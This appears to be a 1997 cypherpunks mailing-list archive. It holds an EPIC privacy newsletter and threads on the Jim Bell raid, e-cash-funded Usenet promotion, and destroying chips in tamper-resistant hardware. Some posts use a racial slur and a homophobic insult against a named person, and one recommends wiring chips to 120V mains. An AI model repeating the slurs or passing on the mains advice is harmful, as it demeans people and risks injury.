organized a conference for the OECD delegates in Paris in September 1996. The conference contributed significantly to the OECD's final recommendations. The Guidelines, the OECD press announcement and additional commentary are available at: http://www.epic.org/crypto/oecd/ ======================================================================= [2] White House Floats Draft Crypto Bill ======================================================================= The White House has released a new draft proposal on key escrow encryption to the Congress. The draft (dated March 12) is entitled the "Electronic Data Security Act of 1997." The legislation is the latest attempt to push forward the result the Administration sought to achieve with the failed Clipper Chip initiative -- ensuring government access to all encrypted communications through government-escrowed keys. To achieve this goal, the bill would create incentives for all persons and organizations to use a government-certified Certificate Authority (CA) to establish their identities for any electronic transactions. The CA would ensure that there was an escrow system in place before it would issue an identification certificate to the user. Government agencies would likely refuse to communicate with persons and entities not using a government certified CA. Agencies would also likely pressure others over whom they have substantial regulatory or economic power, such as banks, state agencies, and government contractors, to require that government-certified CA's are used to communicate with them. Another provision would require any person who "manufactures, imports, packages, distributes or labels" encryption products to state whether they use a key recovery agent. The draft bill also provides that if non-escrowed cryptography is used during the commission of a crime, an additional five year prison sentence could be imposed. Another provision, apparently intended to gain industry support, would limit the potential civil liability of any "Certification Authority" or "Key Recovery Agent" who obtains a government certification. More information on cryptography policy is available at: http://www.epic.org/crypto/ ================================================================== [3] FAA Calls for Collecting SSNs of all Air Travelers ================================================================== On March 13, the FAA issued a call for comments on a FAA proposal to require airlines to collect substantial personal information on each passenger, including full name, address, next of kin, Social Security Number and date of birth. The purpose of this collection would be to facilitate identification of victims of airplane crashes. The proposal anticipates that passengers would have to provide this information in order to board an aircraft. The proposal raises a number of substantive threats to personal privacy. One major problem is that it appears to violate the Privacy Act of 1974, which limits the ability of government agencies to collect the SSN. There also appear to be no limitations on the use of the collected information, creating a risk that the data could be put to a wide variety of unrelated uses by both the airlines and government agencies. One potential use of this information would be in connection with the controversial "profiling" proposals recently recommended by the Gore Commission. The use of the Social Security Number would simplify the comparison of passenger records with other databases. It appears likely that the FAA is using this proposal as a less controversial rationale to demand the collection of personal information rather than specifically including it in the profiling proposal, which has already generated considerable public and editorial opposition. More information on the proposal and other FAA activities is available at the EPIC Airline Security Page: http://www.epic.org/privacy/faa/ ======================================================================= [4] Groups Urge IETF to Fix Cookies ======================================================================= Several leading consumer, civil liberties, and children's advocacy organizations have urged an Internet standards organization to fix a problem with web browser software that allows companies and government agencies operating web sites to track the activities of Internet users. The groups say that there is a problem with the so-called "cookies" technology. Cookies make it possible to read information on users' computers and find out where they go on the Internet. Some companies in the on-line advertising industry use cookies data to collect personal information for advertising and marketing. The Internet Engineering Task Force, a loose coalition of technical experts responsible for the development of standards for the Internet is meeting this week in Memphis to consider a wide range of technical issues concerning the Internet, including a proposal to limit the ability of companies to use cookies. The proposed safeguard has come under attack by several companies engaged in interactive advertising and marketing. According to a March 31, 1997 article in Ad Age, these groups are now drafting a "counter-proposal" to head-off the IETF recommendation. In the letter, the groups express support for RFC 2109, the proposal for an HTTP State Management Mechanism. The letter further says that "transparency" -- the ability of users to see and exercise control over the disclosure of personally identifiable information -- is a critical guideline for the development of sensible privacy practices on the Internet" The letter was signed by the Center for Media Education, Computer Professionals for Social Responsibility, the Consumer Federation of American, the Consumer Project on Technology, the Electronic Frontier Foundation, the Electronic Privacy Information Center, National Association of Elementary School Principals, NetAction, Privacy International, the United States Privacy Council, and more than one hundred Internet users. The coalition letter, and more information about cookies, is available at: http://www.epic.org/privacy/internet/cookies/ ======================================================================= [5] National Research Council Reports on Privacy of Medical Systems ======================================================================= The National Research Council has released a report on the privacy of medical systems. The report, entitled "For the Record: Protecting Electronic Health Information," calls for measures by government, companies and consumers to better protect the privacy of medical records. The NRC recommended a two-prong approach to dealing with medical privacy, involving the revision of organizational practices to deter unauthorized access to and/or misuse of electronic medical records, and implemention of more stringent technical measures as a safeguard in case the first prong proves ineffective. The NRC also proposes that health-related organizations adopt fair information practices similar to those contained in the federal Privacy Act of 1974. Consumers should have access to a privacy ombudsman that not only provides such information, but could also address patient grievances over violations of privacy. The NRC waffled on fundamental issues such as the desirability of national databases of medical information and the creation of a unique national patient identifier, but expressed concerns over the ramifications for privacy entailed in such a system. Also proposed by the NRC, although admittedly difficult to implement, is the identification of parties which may inappropriately link patient information. Using the Social Security Number, the NRC states, is in its current form insufficient to protect the privacy of individuals. More information on medical privacy is available at: http://www.epic.org/privacy/medical/ ======================================================================= [6] FTC To Conduct Hearings on Privacy, Investigate Databases ======================================================================= The Federal Trade Commission has announced that it will convene a public workshop devoted to consumer information privacy on June 10-13, 1997. This is a follow-up to FTC workshops held last summer. The workshop is intended to gather information on the collection, compilation, sale and use of computerized data bases that contain sensitive identifying information, as well as self-regulatory efforts, technological innovations and unsolicited e-mail. The workshop will also address these developments as they pertain to children's personal information. The workshop will gather information for a new computer data base study that the FTC has also announced. However, this study will be limited to "look up services" which contain personal identifying information, such as the Lexis-Nexis P-TRAK service. Importantly, the FTC will not address computer databases used primarily for direct marketing purposes, medical and student records or the use of computer credit reports for employment purposes. Interested participants must submit written comments by April 15, 1997. More information is available at the FCC web page: http://www.ftc.gov/ ======================================================================= [7] NTIA Files Comments on Privacy of Telephone Calling Information ======================================================================= The Commerce Department's National Telecommunications and Information Administration (NTIA) recommended on March 27 that the Federal Communications Commission (FCC) establish more specific policies to protect <<< Continued to next message >>> ====================================================================== If encryption is outlawed, only outlaws will have encryption... From sergey at el.net Wed Apr 9 01:55:51 1997 From: sergey at el.net (Sergey Goldgaber) Date: Wed, 9 Apr 1997 01:55:51 -0700 (PDT) Subject: Jim Bell raid In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca> Message-ID: On Tue, 8 Apr 1997, Toto wrote: -> Christopher Blizzard wrote: -> > In message , Sergey Goldga -> > ber writes: -> > :Jim Bell's essay is, IMO, definately free speech. And, as you can see from -> > :the IRS Inspection report, he was not charged with anything relating to the -> > :essay itself. In fact, the raid happened a long time after he published -> > :the essay, and may truely be unrelated. -> -> > Of course, the papers only talk about this. -> -> Buy a clue, dudes. I wouldn't bother with my nitpicky distinction below if it weren't for this patronizing comment. -> The application for a search warrant made it more than plain that -> the main basis for the search and seizure fishing expedition mounted -> by the Feds was based largely on his promotion of AP. -> Only a few, sparse lines of the application are related to valid -> IRS concerns re: taxes, etc. The search warrant was not made public on the cpunks list. As you can see form the above excerpt, I was commenting on the "IRS Inspection" report, which was virtually the first description of Jim Bell's arrest, long before there were even requests for information on the procedures for obtaining the search warrants, etc... After following the debate, I would definately agree that AP played an important part in sparking the paranoia of the govt. officials to arrest Jim, which in turn sparked off paranoia on the list, and rather reactionary comments towards AP, and reactionary flames towards the reactionaries. :) Hopefully this trend won't continue. ............................................................................ . Sergey Goldgaber System Administrator el Net . ............................................................................ . To him who does not know the world is on fire, I have nothing to say . . - Bertholt Brecht . ............................................................................ From harka at nycmetro.com Wed Apr 9 02:08:52 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 9 Apr 1997 02:08:52 -0700 (PDT) Subject: EPIC Alert 4.05 Message-ID: == Forwarded Message Follows ========================================= * Originally By: In:epic-news at epic.org * Originally Re: EPIC Alert 4.05 * Original Date: 04-08-97 18:08 <<< This message is part 2 of a previous message >>> the privacy of information gathered about consumers by telephone companies. The recommendations cover Customer Proprietary Network Information (CPNI). CPNI is the information that is gathered by phone companies in the process of delivering services, such as numbers called, length of calls, and times calls were made. The FCC is currently conducting a rulemaking on CPNI under the Telecommunications Act of 1996. The law limits the use and disclosure of CPNI information: a telecommunications carrier that receives or obtains customer proprietary network information by virtue of its provision of a telecommunications service shall only use, disclose, or permit access to individually identifiable customer proprietary network information in its provision of (A) the telecommunications service from which such information is derived, or (B) services necessary to, or used in, the provision of such telecommunications service, including the publishing of directories. NTIA recommended that phone companies provide a list of uses for the information and provide consumers with an opportunity to opt-out of those disclosures. However, this appears to contradict the text of Section 702 of the Act, which requires that phone companies obtain prior written consent before they can share the information and use the information for marketing purposes. Telephone companies have been pressing the FCC to relax that requirement and to require customers to contact them before the telcos stop selling the information. Public interest groups such as Computer Professionals for Social Responsibility and NetAction are arguing for more consumer protection. The NTIA comments are available at: http://www.ntia.doc.gov/ntiahome/fccfilings/cc96-115.htm ======================================================================= [8] Upcoming Conferences and Events ======================================================================= Culture and Democracy revisited in the Global Information Society. May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact: http://www.math.aegean.gr/english/events/econf/ecnew/ewc97.htm Can Trusted Third Parties Be Trusted?: A Public Debate on The UK DTI Crypto Proposal. May 19, 1997. London, UK. Sponsored by Privacy International and the London School of Economics. Contact: pi at privacy.org CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John Marshall Law School. Contact: cyber97 at jmls.edu. Ethics in the Computer Society: The Second Annual Ethics and Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by Loyola University Chicago. http://www.math.luc.edu/ethics97 Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC. Sponsored by the Federal Trade Commission. Contact: http://www.ftc.gov/os/9703/privacy.htm INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala Lumpur, Malaysia. Sponsored by the Internet Society. Contact: inet97 at isoc.org or http://www.isoc.org/inet97 Privacy Laws & Business 10th Anniversary Conference. July 1-3, 1997. St. John's College, Cambridge, England. Contact: info at privacylaws.co.uk. Communities, Culture, Communication, and Computers (C**5): On the Role of Professionals in the Information Age. August 20-22, 1997, Paderborn, Germany. Sponsored by FIFF. Contact: c5 at uni-paderborn.de AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels, Belgium. Sponsored by Privacy International. Contact: pi at privacy.org. http://www.privacy.org/pi/conference/brussels/ 19th Annual International Privacy and Data Protection Conference. Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data Protection and Privacy Commission. International Conference on Privacy. September 23-26, 1997. Montreal, Canada. Sponsored by the Commission d'Acces a l'information du Quebec. http://www.confpriv.qc.ca/ Managing the Privacy Revolution '97. October 21-23, 1997. Washington, DC. Sponsored by Privacy and American Business. Contact: http://shell.idt.net/~pab/conf97.html (Send calendar submissions to alert at epic.org) ======================================================================= The EPIC Alert is a free biweekly publication of the Electronic Privacy Information Center. To subscribe, send email to epic-news at epic.org with the subject: "subscribe" (no quotes) or use the subscription form at: http://www.epic.org/alert/subscribe.html Back issues are available at: http://www.epic.org/alert/ ======================================================================= The Electronic Privacy Information Center is a public interest research center in Washington, DC. It was established in 1994 to focus public attention on emerging privacy issues such as the Clipper Chip, the Digital Telephony proposal, national ID cards, medical record privacy, and the collection and sale of personal information. EPIC is sponsored by the Fund for Constitutional Government, a non-profit organization established in 1974 to protect civil liberties and constitutional rights. EPIC publishes the EPIC Alert, pursues Freedom of Information Act litigation, and conducts policy research. For more information, email info at epic.org, HTTP://www.epic.org or write EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington, DC 20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax). If you'd like to support the work of the Electronic Privacy Information Center, contributions are welcome and fully tax-deductible. Checks should be made out to "The Fund for Constitutional Government" and sent to EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003. Individuals with First Virtual accounts can donate at http://www.epic.org/epic/support.html Your contributions will help support Freedom of Information Act and First Amendment litigation, strong and effective advocacy for the right of privacy and efforts to oppose government regulation of encryption and funding of the National Wiretap Plan. Thank you for your support. == End Forwarded Message ============================================== If encryption is outlawed, only outlaws will have encryption... From sergey at el.net Wed Apr 9 02:23:06 1997 From: sergey at el.net (Sergey Goldgaber) Date: Wed, 9 Apr 1997 02:23:06 -0700 (PDT) Subject: IRS raids a cypherpunk In-Reply-To: Message-ID: On 9 Apr 1997, Robin Lee Powell wrote: -> -> The followiing is an article that didn't even brng a hiccup to cypherpunks. -> -> -> WHERE IS EVERYBODY?? -> -> -Robin, sniff :-( -> -> In article Declan McCullagh writes: -> **SNIP** -> The Netly News Network -> April 3, 1997 -> -> IRS raids a cypherpunk -> by Declan McCullagh (declan at well.com) -> -> -> Jim Bell's first mistake was publishing an -> essay describing how disgruntled citizens could -> kill off Federal government agents by using -> anonymous betting pools and digital cash. His -> second mistake was informing the IRS that the -> agency had no legal authority to tax him. **SNIP** Are you kidding??? There's been several 20+ message threads on the whole Jim Bell raid! Where were YOU? ............................................................................ . Sergey Goldgaber System Administrator el Net . ............................................................................ . To him who does not know the world is on fire, I have nothing to say . . - Bertholt Brecht . ............................................................................ From gbroiles at netbox.com Wed Apr 9 03:27:36 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 9 Apr 1997 03:27:36 -0700 (PDT) Subject: Jim Bell raid In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca> Message-ID: <3.0.1.32.19970409033358.02744600@postoffice.pacbell.net> -----BEGIN PGP SIGNED MESSAGE----- At 04:56 AM 4/9/97 -0400, Sergey Goldgaber wrote: >The search warrant was not made public on the cpunks list. As you can see >form the above excerpt, I was commenting on the "IRS Inspection" report, which >was virtually the first description of Jim Bell's arrest, long before there >were even requests for information on the procedures for obtaining the >search warrants, etc... I realize that we're talking about net-time, but "long before" seems like a poor way to describe the 2-2.5 days between the appearance of the "IRS Inspection" report (which was, in fact, the transcription of newspaper story) and the WWW publication of the warrant & accompanying material. Also, Declan was posting details from the warrant within 24 hours of the initial message. >After following the debate, I would definately agree that AP played an >important part in sparking the paranoia of the govt. officials to arrest >Jim, which in turn sparked off paranoia on the list, and rather reactionary >comments towards AP, and reactionary flames towards the reactionaries. :) >Hopefully this trend won't continue. As far as I can tell, the events of last week haven't changed people's opinions of AP at all - people who thought it was interesting/useful still do, and people who thought it was uninteresting/stupid still do. I can't speak for other posters to the list, but I'm inclined to distance myself from AP not because I'm scared of a government raid, but because I think it's theoretically uninteresting/unremarkable, politically/tactically poorly considered, morally indefensible, and irresponsibly misleading to the extent it purports to discuss US law. I don't want my comments about Jim Bell's right to discuss his silly ideas to be confused with apologies or approval for the ideas themselves. I believe Jim has every right to write essays about AP, give speeches & seminars about AP, talk about "wonderful things" all that he likes, etc. But the "marketplace of ideas" model, whereby good speech is expected to negate bad speech, depends on the willingness of other people to provide "good speech", or at least call "bad speech" into question. I think AP is "bad speech" in the same way the "the earth is flat" is bad speech; it is (and ought to be) legal to say it, but it's also a non-useful idea, which I hope will be abandoned in favor of more useful ideas. I've been ignoring (pre-raid) discussions about AP because I think that an eternal recycling of arguments is uninteresting and unproductive. I think that the search of Jim's house, and its relationship to his free speech activities, is interesting - not because of the [lack of] quality of his ideas, but because I think this may be a case where law enforcement used its power to search & seize property in a punitive fashion. And that concerns me, because I think that isn't uncommon where the target is a "dissident", of one flavor or another; and I think that dissidents don't/shouldn't lose their civil rights as a consequence of their status. ("when they came for .." argument incorporated herein by reference.) (The search is also interesting for reasons unrelated to Jim and his ideas, because it provides insight into the level and type and timing of law enforcement access to the net, treatment of a "confidential informant", and protocol/procedure for search & seizure of computers and potentially encrypted data, etc.) But that doesn't mean that the dissidents get special respect or treatment for poor thinking. I think AP is poorly reasoned and poorly researched. (And I think that "dissident" + "poor analysis/research" + "obsessive focus" = "loon", hence my original comments.) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBM0twXP37pMWUJFlhAQFOgAf8DMhc37rtTZYbZ1pqLTD9r18GsKE56f5T egrme9gOvQ4uAES1E4LJ2EEbeN7KTZoOWZUHIBA7PitlRn5uXC/TAS3KNcJo5RJH uH07kH3g0LpeLlArxjTJ+QWt9WTxZ5ri3dNmG1mfuTGZPELZTTeYpLNJQuiO5xhl 0ua68YsHgj0L+e1FPZ0QPwzFDlHuUFuewn1K+hldpbK0GXSDOV9LwtAezzUR0oZw l5TI7LanD1amR0ii71eMzJx9XtWdjLT4OBMmMNjT4z+BJprW+Qnqm3C9Cq7py4r3 TzhBnRxkOZ58tzeKGn1SDTT/sIVQ5e6P/9QldM1uCR4K+pCXQDOi7A== =sN8V -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From lucifer at dhp.com Wed Apr 9 04:15:46 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Wed, 9 Apr 1997 04:15:46 -0700 (PDT) Subject: Cryptoanalyze to make $$$ fast! [was Re: congressman wants review of online banking system] Message-ID: <199704091115.HAA16239@dhp.com> On Tue, Apr 8 1997, Robert Hettinga wrote- > >--- begin forwarded text > > >X-Sender: oldbear at pop.tiac.net >Date: Tue, 08 Apr 1997 17:58:51 -0400 >To: Digital Commerce Society of Boston >From: The Old Bear >Subject: congressman wants review of online banking system >Mime-Version: 1.0 >Sender: bounce-dcsb at ai.mit.edu >Precedence: bulk >Reply-To: The Old Bear > >CONGRESSMAN CALLS FOR REVIEW OF ONLINE BANKING > >House Banking Committee Chairman James Leach (R-Iowa) has >asked the General Accounting Office to review whether the >Federal Reserve has sufficiently protected its Fedwire >funds transfer and security transfer system from electronic >trespassing. > >Fedwire processes around 380,000 securities and funds >transfers totaling $1.6 trillion each day. ********************** > >source: BNA Daily Report for Executives > April 7, 1997 I bet a crack team of encryption experts from the cypherpunks list could make a pretty penny by exploiting holes in Fedwire or related systems. From Michael.Johnson at mejl.com Wed Apr 9 04:39:30 1997 From: Michael.Johnson at mejl.com (Michael Johnson) Date: Wed, 9 Apr 1997 04:39:30 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: <199704082129.QAA03372@manifold.algebra.com> Message-ID: <3.0.1.32.19970409133818.009f7360@localhost> Dr.Dimitri Vulis KOTM wrote: >One problem is that a lot of people put fake addresses in the from: >fields. Why waste good e-cash on e-mail to addresses that bounce? That's the best kind for the payer, because ecash(tm) is not lost once you send it. You can cancel the payment if it bounces or after a specified amount of time. That's the double spending protection in ecash(tm), the first person to deposit a specific coin gets the money. Mike. * Ecash is a registered trademark of Digicash BV From toto at sk.sympatico.ca Wed Apr 9 07:59:46 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 9 Apr 1997 07:59:46 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: Message-ID: <334B36BD.7677@sk.sympatico.ca> Dr.Dimitri Vulis KOTM wrote: > > Killfiles? So many scumbags whine about their inability to use them, > so they try to silence whomever they don't like. Or they have them and still try to silence those whom they don't like. > Yes, if Alice just posts her regexps on a public Web page, a clueful > person can automatically fetch them and add them to his killfile or > even forge cancels for Bobs' articles that contain them. > > I think this would be a stupid thing to do because Bobs' articles > may contain useful information besides Alice's ad. Also the regexp > might occur in a followup to Bob's article, which may contain > useful information. Some CypherPunks regularly brag about the size of their killfiles. To me, this is not a far cry from bragging about not reading anything written by niggers, "Cause they ain't not got nothing to say less'n they say they is goin' back to Africa." > But of course a reader is welcome to cut off his own nose to spite > and face and to killfile anything he likes - as long as he doesn't > prevent others from reading what they feel like reading. During the censorship experiment on the list, many of the list members showed their flat-foreheaded tendencies by calling for the censoring of anyone who deviated from the norm. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Wed Apr 9 08:00:04 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 9 Apr 1997 08:00:04 -0700 (PDT) Subject: Another Article on Jim Bell from the Oregano In-Reply-To: <3.0.1.32.19970404195432.03028840@mail.teleport.com> Message-ID: <334B4C0D.3FF0@sk.sympatico.ca> Bill Stewart wrote: > > The government tried to prove that he was trying to manufacture > meth, but was unable and Jim pleaded guilty to a lesser charge. Misleading. He pled guilty to a 'different' charge, which had nothing to do with 'drugs', but was some EPA type of thing, as I recall. > >(Of course, > >what are prohibited molecules and non-prohibited molecules is an ever > >changing maze. It is pretty hard to keep track of what is "legal" and > >"illegal" in that area. Seems to be "whatever we say it is". > > It's actually quite straightforward - it all depends on the > intent of the molecules being arrested. If they're just loitering around, > it's not illegal, but if they're loitering with intent to commit public > intoxication, or conspiring to form an illegal syndicate, you may be > in big trouble.... I bought some drugs once, intending to try them. Then I changed my mind... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From dlv at bwalk.dm.com Wed Apr 9 08:11:40 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 08:11:40 -0700 (PDT) Subject: Reporters, Declan, Columns, Articles, and Angles In-Reply-To: Message-ID: "Timothy C. May" writes: > At 1:00 AM -0400 4/9/97, Declan McCullagh wrote: > >I'll be going to both events, of course. I'll try to drag an article or > >column out of the "regulation in the digital age" conference, so check out > >netlynews.com around that time. Maybe in the Afterword section. > > Just when I was beginning to think Declan was not just a typical journalist.. > (long flame skipped) I guess Timmy May is still miffed at Declan for exposing Timmy and Cocksucker John Gilmore as plug-pulling censors? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 9 08:13:38 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 08:13:38 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: <3.0.1.32.19970409133818.009f7360@localhost> Message-ID: <62aw5D4w165w@bwalk.dm.com> Michael Johnson writes: > Dr.Dimitri Vulis KOTM wrote: > >One problem is that a lot of people put fake addresses in the from: > >fields. Why waste good e-cash on e-mail to addresses that bounce? > > That's the best kind for the payer, because ecash(tm) is not lost once you > send it. You can cancel the payment if it bounces or after a specified > amount of time. That's the double spending protection in ecash(tm), the > first person to deposit a specific coin gets the money. That's a good feature. Other than raw e-cash, Alice could be sending out messages like "Here's a random token: return this token to redeem your cash". Also instead of general-purpose cash, Alice could be sending out soft tokens only usable at her site: mention Alice's 900 number, receive an e-mail with a secret code that allows you to FTP a single x-rated picture from Alice's Web site. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 9 08:17:19 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 9 Apr 1997 08:17:19 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: <199704090509.AAA08271@manifold.algebra.com> Message-ID: > > Yes, Bob could post something like "drink kaka cola and die" and > > "elect John M Gubor Sheriff if you want to be arrested". > > Hopefully, most Bob's won't. > > That's questionable at best. Also, there can be so much ingenuity in > making the ads appear unreadable, that it would be hard to watch who > is good and who is bad. Good - let them exercise their ingenuity rather than forge cancels and pull plugs. > For example, how about this signature that purports to advertise > http://www.kaka-kola.com: > > ^L^L^L > ----------------------------------------------------------------------- > = please ignore contents of this sig -- skdjhgf asdgf -- == > = http://www.devnull.com http://acd http://www.www.www > http://www.kaka-kola.com http://xxx == == this sig > intentionally made unreadable to cheat alice == > ----------------------------------------------------------------------- OK, I see several approaches: 1. For some kinds of advertizing messages, like 900 numbers, even the kind of exposure you describe is good exposure. 2. Alice's bot can state that it won't pay for articles that contain certain kinds of "taboo" regexps - "fuck", "shit", "piss", "cunt", "spam", "Alice...". 3. When is the contract created, if at all? Alice can just review the traffic by hand, as a human, and decide on her whim that she won't be paying this particular Bob anymore. > > Yes, if Alice just posts her regexps on a public Web page, a clueful > > person can automatically fetch them and add them to his killfile or > > even forge cancels for Bobs' articles that contain them. > > > I think this would be a stupid thing to do because Bobs' articles > > may contain useful information besides Alice's ad. Also the regexp > > might occur in a followup to Bob's article, which may contain > > useful information. > > Well, one can modify newsreaders to delete only lines that match > the regexps, but show other parts of the article. That may be one > of the pieces of functionailty of libkillfile.so that I once mentioned. Wonderful - go ahead and do it. Anyone clueful enough to build a killfile may not be worth advertisingto anyway. Remember how Sandy Sandfart used to preach how he has the abllity to filter out my traffic, but he wants to silence me in the interest of those who don't have this capability? Same thing with killfiles. > > > On the second thought, Alice may not need a prior contract with Bob, > > nor the ID#. She can just list the regexps she's trying to promote > > on her web page and go promiscuously by the address in the From: header. > > ... > > > What Alice could do is send an e-mail like > > "Your article with message-id blah posted to blah contains > > a message that I'm paying to promote. Here is a cookie; > > if you return this cookie, I'll send you $n e-cash." > > If it bounces, or if the recipient never sends back the cookie - too bad. > > If it bounces, Alice would usually get the money back in the bounce message. > > Can't alice put a stop on a piece of digital cash? I am not sure, but it > may be possible. It is surely possible with adding one more trusted party, > and some more signing and encryption, anyway. The address could be a black hole type of thing. But, on the third thought :-), I don't like the idea of sending unsolicited e-mail in response to Usenet articles, even if the e-mail contains e-cash. How about this for a protocol: Alice puts up the Web site listing the regexps she wants promoted. Bob tells Alice (via a web form, say): I will be posting as bob at foo.nospam.bar and bob at delete.me.foo.bar; please e-mail my fee to bob at fo.bar; your decisions are final. Alice e-mails bob at foo.bar, saying: please post cookie1 to misc.test (or whatever) as bob at foo.nospam.bar; please post cookie2 to misc.test as bob at delete.me.foo.bar (to show that Bob does post from these accounts and does read e-mail at bob at foo.bar). Once Alice's bot sees the cookies, it starts generating fee e-mails. Moreover if Alice sees Bob making fun of her, the way you described, she can stop paying him forever. > > > Alice's contract can also specify that if a third party forges a cancel > > > within a week for Bob's Usenet article containing the regexp, then Alice > > > will pay nothing and let Bob sue the forger for the lost income. (This > > > may become moot as more and more ISPs ignore forged cancels.) This gives > > > Bob the insentive to spam intelligently - not to trigger any cancelbots > > > and not to have his plug pulled by his ISP. > > > > After Alice's bot finds an eligible Usenet article, it should wait > > a week or so to see if it was cancelled or superseded before issuing a > > payment. If it's cancelled, then instead of payment it should send > > a notice saying: > > "Your article with message-id blah posted to blah contains > > a message that I'm paying to promote. I would have paid > > you $n e-cash, but unfortunately a cancel has been issued > > for your article: " > > That should get Bob pretty mad at the 3rd party canceller. :-) > > Alice can then cheat and issue the cancels herself. Since most spammers > are crooks, I expect that to happen a lot. No good. There would hopefully be more than one Alice competing for the posting agents. If she acts unethically (fails to come through with the payment), she will lose reputation capital. I mean, Alice can just put up a web page claiming that she'll pay for promoting her regexps, and then not send anybody any ecash, cancels or no cancels. Who's going to sue her for breach of contract and where? Spammers are less crooks than Sandy Sandfart and Cocksucker John Gilmore, or th scumbags who forge cancels. > > > Alice can also put some reasonable caps on the number of repetitions > > > because if Bob posts the same regexp 10,000 times, the marginal exposure > > > is less from Bob than from a newbie Carol. Again, if there are several > > > such Alices, the market will take care of negotiating such details. > > > > Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts; > > when it reaches 100, stop paying this poster. I think 100 mentions by > > the same poster is way past saturation. > > I can generate a gazillion posters from algebra.com. > > Of course, Alice can also introduce per-domain restrictions. I can generate a bazillion posters from dm.com, but this is rare. I can also get a dozen AOL screen names from a single AOL account. It's OK because the reasons for this cap are pure marketing: (not trying to cap Alice's expense). For the target audience, seeing the same 900 number >100 times from the same address loses the marginal effectiveness. If you post the same 900 number 100 times from ichudov at algebra.com and then 100 times from arabinovich at algera.com it'll be as effective as if it came from irabinovich at analysis.com. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From camcc at abraxis.com Wed Apr 9 09:30:53 1997 From: camcc at abraxis.com (Alec) Date: Wed, 9 Apr 1997 09:30:53 -0700 (PDT) Subject: which remailers are safe? In-Reply-To: <199704091457.KAA09412@main.inetnow.net> Message-ID: <3.0.1.32.19970409123003.007c5480@smtp1.abraxis.com> At 11:01 AM 4/9/97 -0500, 00043.an at edtec.com wrote: |For some reason my anonymized posts here are never arriving? |So I try this service - does anyone know about edtec.com? |The problem is, does anyone really know who their remailer is? |Which ones are known absolutely to be run by safe operators, |and which ones are thought or known to be trolls by Unsavory Characters? |I am very interested to see if this post makes it to the list! Dear 00043.an, I have a sense of being here before! 'Twas a post such as this that called forth TruthMngler. Spare us! Alec From cynthb at sonetis.com Wed Apr 9 09:36:26 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Wed, 9 Apr 1997 09:36:26 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) In-Reply-To: <0nGlUs200YUd1==LY0@andrew.cmu.edu> Message-ID: On Wed, 9 Apr 1997, Jeremiah A Blatz wrote: > Dave Emery writes: > > I have heard about thermite devices being used for this in > > the sort of applications that might warrent it. Granted that this > > is a royal fire hazard unless very carefully engineered, but at least > > it is not an explosive per se.... > > Thermite is probably overkill unless you're trying to dust something > big like a hard drive. Just a bit of magnesium (which is often used as > primer for thermite) should do the trick on a chip. I wonder if it's > really essential to be so drastic, though? Would just getting the chip > really hot be enough to wipe it? What about exposing it to a big arc? > One might imagine a PCMCIA with a voltage doubling diode ladder and a > small capacitor... would this be sufficient? If you're trying to destroy a standard IC, why don't you just hook up the power and ground pins to a 120V AC outlet? No special equipment or substances required, just a couple of wires. Done it myself, and some chips make a really neat popping sound as the top blows off :-) Warning for the electronically challenged: don't use this method if you care about the rest of the board. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From jer+ at andrew.cmu.edu Wed Apr 9 10:04:27 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 9 Apr 1997 10:04:27 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) In-Reply-To: Message-ID: <0nGwjx200YUf04XiI0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- "Cynthia H. Brown" writes: > If you're trying to destroy a standard IC, why don't you just hook up the > power and ground pins to a 120V AC outlet? No special equipment or > substances required, just a couple of wires. Done it myself, and some > chips make a really neat popping sound as the top blows off :-) "Excuse me, Mr. Jack-booted Long Arm of The Law, do you mind putting your gun away whilst I just plug this 